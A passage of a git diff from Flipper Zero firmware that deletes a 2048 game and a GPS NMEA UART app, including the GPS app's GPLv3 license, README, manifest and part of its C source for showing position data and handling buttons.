0; - break; - case InputKeyBack: - save_game(game_state); - is_finished = true; - break; - case InputKeyMAX: - break; - } - game_state->score += move_result->points; - - if(move_result->is_table_updated) { - game_state->moves++; - add_new_digit(game_state); - } - - if(is_game_over(game_state)) { - game_state->state = GameStateGameOver; - if(game_state->score >= game_state->top_score) { - game_state->top_score = game_state->score; - } - } - - break; - case GameStateGameOver: - if(input.key == InputKeyOk || input.key == InputKeyBack) { - init_game(game_state, false); - save_game(game_state); - } - } - - view_port_update(view_port); - furi_mutex_release(game_state->mutex); - } - } - - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - - view_port_free(view_port); - - furi_message_queue_free(event_queue); - - furi_mutex_free(game_state->mutex); - - free(game_state); - free(move_result); - - return 0; -} diff --git a/applications/external/game_2048/game_2048.png b/applications/external/game_2048/game_2048.png deleted file mode 100644 index 196e119c8..000000000 Binary files a/applications/external/game_2048/game_2048.png and /dev/null differ diff --git a/applications/external/game_2048/images/screenshot1.png b/applications/external/game_2048/images/screenshot1.png deleted file mode 100644 index b2a7cb658..000000000 Binary files a/applications/external/game_2048/images/screenshot1.png and /dev/null differ diff --git a/applications/external/game_2048/images/screenshot2.png b/applications/external/game_2048/images/screenshot2.png deleted file mode 100644 index c188634ac..000000000 Binary files a/applications/external/game_2048/images/screenshot2.png and /dev/null differ diff --git a/applications/external/gps_nmea_uart/LICENSE b/applications/external/gps_nmea_uart/LICENSE deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/gps_nmea_uart/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/gps_nmea_uart/README.md b/applications/external/gps_nmea_uart/README.md deleted file mode 100644 index 129a6d0d8..000000000 --- a/applications/external/gps_nmea_uart/README.md +++ /dev/null @@ -1,40 +0,0 @@ -# GPS for Flipper Zero - -[Original link](https://github.com/ezod/flipperzero-gps) - -[Adafruit Ultimate GPS Breakout]. - -![ui](ui.png) - -Heavy lifting (NMEA parsing) provided by [minmea], which is included in this -repository. - -## Modifications made by @xMasterX -- Ability to change baudrate using Up button, hold button to switch between baudrates (9600, 57600, 115200) (i set 57600 as default) -- Ok button will set backlight to always on mode, to disable press ok button again (it will restore default settings after app exit too) -- Long press Right button to change speed from knots to kilometers per hour -- Exit from app using long press on back button instead of short press, may be useful in case you want to turn backlight on and accidentally click back - -## Hardware Setup - -Connect the GPS module to power and the USART using GPIO pins 9 (3.3V), 11 -(GND), 13 (TX), and 14 (RX), as appropriate. - -![wiring](wiring.png) - - -## Contributing - -This project was a learning exercise and is more or less "complete" from my -perspective, but I will happily accept pull requests that improve and enhance -the functionality for others. - -Currently, the app only parses RMC and GGA sentences, and displays a subset of -the data that fits on the screen. The UART is also hard-coded to 9600 baud. -These limitations are largely driven by the GPS module I have to work with. A -more elaborate UI with scrolling or multiple screens, as well as a configurable -baud rate, may be useful for other GPS modules. - -[Adafruit Ultimate GPS Breakout]: https://www.adafruit.com/product/746 -[minmea]: https://github.com/kosma/minmea -[flipperzero-firmware]: https://github.com/flipperdevices/flipperzero-firmware diff --git a/applications/external/gps_nmea_uart/application.fam b/applications/external/gps_nmea_uart/application.fam deleted file mode 100644 index c3897e38a..000000000 --- a/applications/external/gps_nmea_uart/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="gps_nmea", - name="[NMEA] GPS", - apptype=FlipperAppType.EXTERNAL, - entry_point="gps_app", - requires=["gui"], - stack_size=1 * 1024, - order=35, - fap_icon="gps_10px.png", - fap_category="GPIO", - fap_author="@ezod & @xMasterX", - fap_version="1.0", - fap_description="Works with GPS modules via UART, using NMEA protocol.", -) diff --git a/applications/external/gps_nmea_uart/gps.c b/applications/external/gps_nmea_uart/gps.c deleted file mode 100644 index a0c6ead03..000000000 --- a/applications/external/gps_nmea_uart/gps.c +++ /dev/null @@ -1,190 +0,0 @@ -#include "gps_uart.h" - -#include -#include -#include - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; - -static void render_callback(Canvas* const canvas, void* context) { - furi_assert(context); - GpsUart* gps_uart = context; - furi_mutex_acquire(gps_uart->mutex, FuriWaitForever); - - if(!gps_uart->changing_baudrate) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 32, 8, AlignCenter, AlignBottom, "Latitude"); - canvas_draw_str_aligned(canvas, 96, 8, AlignCenter, AlignBottom, "Longitude"); - canvas_draw_str_aligned(canvas, 21, 30, AlignCenter, AlignBottom, "Course"); - canvas_draw_str_aligned(canvas, 64, 30, AlignCenter, AlignBottom, "Speed"); - canvas_draw_str_aligned(canvas, 107, 30, AlignCenter, AlignBottom, "Altitude"); - canvas_draw_str_aligned(canvas, 32, 52, AlignCenter, AlignBottom, "Satellites"); - canvas_draw_str_aligned(canvas, 96, 52, AlignCenter, AlignBottom, "Last Fix"); - - canvas_set_font(canvas, FontSecondary); - char buffer[64]; - snprintf(buffer, 64, "%f", (double)gps_uart->status.latitude); - canvas_draw_str_aligned(canvas, 32, 18, AlignCenter, AlignBottom, buffer); - snprintf(buffer, 64, "%f", (double)gps_uart->status.longitude); - canvas_draw_str_aligned(canvas, 96, 18, AlignCenter, AlignBottom, buffer); - snprintf(buffer, 64, "%.1f", (double)gps_uart->status.course); - canvas_draw_str_aligned(canvas, 21, 40, AlignCenter, AlignBottom, buffer); - if(!gps_uart->speed_in_kms) { - snprintf(buffer, 64, "%.2f kn", (double)gps_uart->status.speed); - } else { - snprintf(buffer, 64, "%.2f km", (double)(gps_uart->status.speed * 1.852)); - } - canvas_draw_str_aligned(canvas, 64, 40, AlignCenter, AlignBottom, buffer); - snprintf( - buffer, - 64, - "%.1f %c", - (double)gps_uart->status.altitude, - tolower(gps_uart->status.altitude_units)); - canvas_draw_str_aligned(canvas, 107, 40, AlignCenter, AlignBottom, buffer); - snprintf(buffer, 64, "%d", gps_uart->status.satellites_tracked); - canvas_draw_str_aligned(canvas, 32, 62, AlignCenter, AlignBottom, buffer); - snprintf( - buffer, - 64, - "%02d:%02d:%02d UTC", - gps_uart->status.time_hours, - gps_uart->status.time_minutes, - gps_uart->status.time_seconds); - canvas_draw_str_aligned(canvas, 96, 62, AlignCenter, AlignBottom, buffer); - } else { - char buffer[64]; - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 32, AlignCenter, AlignBottom, "Baudrate set to:"); - - snprintf(buffer, 64, "%ld baud", gps_uart->baudrate); - canvas_draw_str_aligned(canvas, 64, 47, AlignCenter, AlignBottom, buffer); - } - - furi_mutex_release(gps_uart->mutex); -} - -static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -int32_t gps_app(void* p) { - UNUSED(p); - - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); - - GpsUart* gps_uart = gps_uart_enable(); - - gps_uart->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!gps_uart->mutex) { - FURI_LOG_E("GPS", "cannot create mutex\r\n"); - free(gps_uart); - return 255; - } - - // set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, gps_uart); - view_port_input_callback_set(view_port, input_callback, event_queue); - - // open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - PluginEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - - furi_mutex_acquire(gps_uart->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypeShort) { - switch(event.input.key) { - case InputKeyUp: - case InputKeyDown: - case InputKeyRight: - case InputKeyLeft: - case InputKeyBack: - break; - case InputKeyOk: - if(!gps_uart->backlight_on) { - notification_message_block( - gps_uart->notifications, &sequence_display_backlight_enforce_on); - gps_uart->backlight_on = true; - } else { - notification_message_block( - gps_uart->notifications, &sequence_display_backlight_enforce_auto); - notification_message( - gps_uart->notifications, &sequence_display_backlight_off); - gps_uart->backlight_on = false; - } - break; - default: - break; - } - } else if(event.input.type == InputTypeLong) { - switch(event.input.key) { - case InputKeyUp: - gps_uart_deinit_thread(gps_uart); - const int baudrate_length = - sizeof(gps_baudrates) / sizeof(gps_baudrates[0]); - current_gps_baudrate++; - if(current_gps_baudrate >= baudrate_length) { - current_gps_baudrate = 0; - } - gps_uart->baudrate = gps_baudrates[current_gps_baudrate]; - - gps_uart_init_thread(gps_uart); - 